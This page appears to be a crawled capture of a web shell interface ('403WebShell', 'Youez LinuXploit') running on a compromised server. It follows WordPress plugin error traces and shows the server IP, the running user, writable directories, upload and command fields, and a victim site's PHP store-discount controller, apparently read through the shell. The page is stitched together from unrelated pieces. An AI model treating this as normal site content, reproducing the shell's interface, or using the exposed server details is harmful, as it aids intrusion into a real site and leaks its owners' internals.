Warning: chmod(): Operation not permitted in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8
[0] in function chmod in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8
[1] in function include_once in /var/www/hopeinstoughton_www/wp-settings.php on line 560
[2] in function require_once in /var/www/hopeinstoughton_www/wp-config.php on line 85
[3] in function require_once in /var/www/hopeinstoughton_www/wp-load.php on line 50
[4] in function require_once in /var/www/hopeinstoughton_www/wp-blog-header.php on line 13
[5] in function require in /var/www/hopeinstoughton_www/index.php on line 17
403WebShell
403Webshell
Server IP : 94.177.8.99  /  Your IP : 216.73.217.165
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux aries 6.8.0-134-generic #134-Ubuntu SMP PREEMPT_DYNAMIC Fri Jun 26 18:43:11 UTC 2026 x86_64
User : www-data ( 33)
PHP Version : 8.1.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/theyoungdesigners_com/modules/storeDiscount/controller/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/theyoungdesigners_com/modules/storeDiscount/controller/admin.php
<?php

class StoreDiscAdmin_Controller extends Controller {
	
	private $model;
	
	public function __construct() {
		parent::__construct(dirname(__DIR__));
		$this->model = $this->LoadModel('storediscount_model');
		hook_add('coupon.field.list', [$this, '__report_fields']);
	}
	
	public function __report_fields($rep) {
		$this->model->CustomFields($rep);
	}
	
	public function __Register() {
		$this->RegisterView('StoreAdmin_Controller::store',     	['storediscount_view' => ['store_coupon_edit', 'store_coupons']]);
		$this->RegisterView('StoreAdmin_Controller::store_coupon',	['storediscount_view' => ['store_coupons']]);
	}
	
	/** staff */
	public function product_group_discount() {
		if ($this->isPost) {

			$id = hook_execute( 'nonce.verify', FALSE, 'disc', FALSE, $this->post('auth', '') );
			if (!is_string($id)) {
				return [
					'result' => -2, 
					'message' => 'You do not have permission to access this function',
				];
			}
			[ $type, $id ] = explode(':', $id);
			
			$values = [];
			$value = $_POST['val'] ?? [];
			foreach($_POST['qty'] ?? [] as $index => $qty) {
				$qty = trim($qty);
				$val = trim($value[$index] ?? '');
				if ($qty != '') {
					$values[] = [ 'qty' => (int) $qty, 'val' => (float) $val ];
				}
			}
			usort($values, function($a, $b) {
				return $a['qty'] - $b['qty'];
			});
			
			$this->model->Type($type)
						->Id((int)$id)
						->Method($this->post('method', 'P'))
						->Values($values)
						->Update();
			$this->Redirect('/admin/store');
		}
	}
	
	/** staff */
	public function store_coupon() {
		$res = $this->DefaultResult(__METHOD__);
		$res['template'] = 'store_coupons';
		$rep = new \ReportObject;
		hook_execute('coupon.field.list', $rep);
		$temp = [];
		$rep->asDataTablesDefinition($temp);
		$res['ctable'] = $temp['datatable'];
		$res['cheader'] = $temp['header'];
		$res['cauth'] = hook_execute('nonce.create', FALSE, 'coupon', 0, 1800);
		return $res;
	}
	
}

Youez - 2016 - github.com/yon3zu
LinuXploit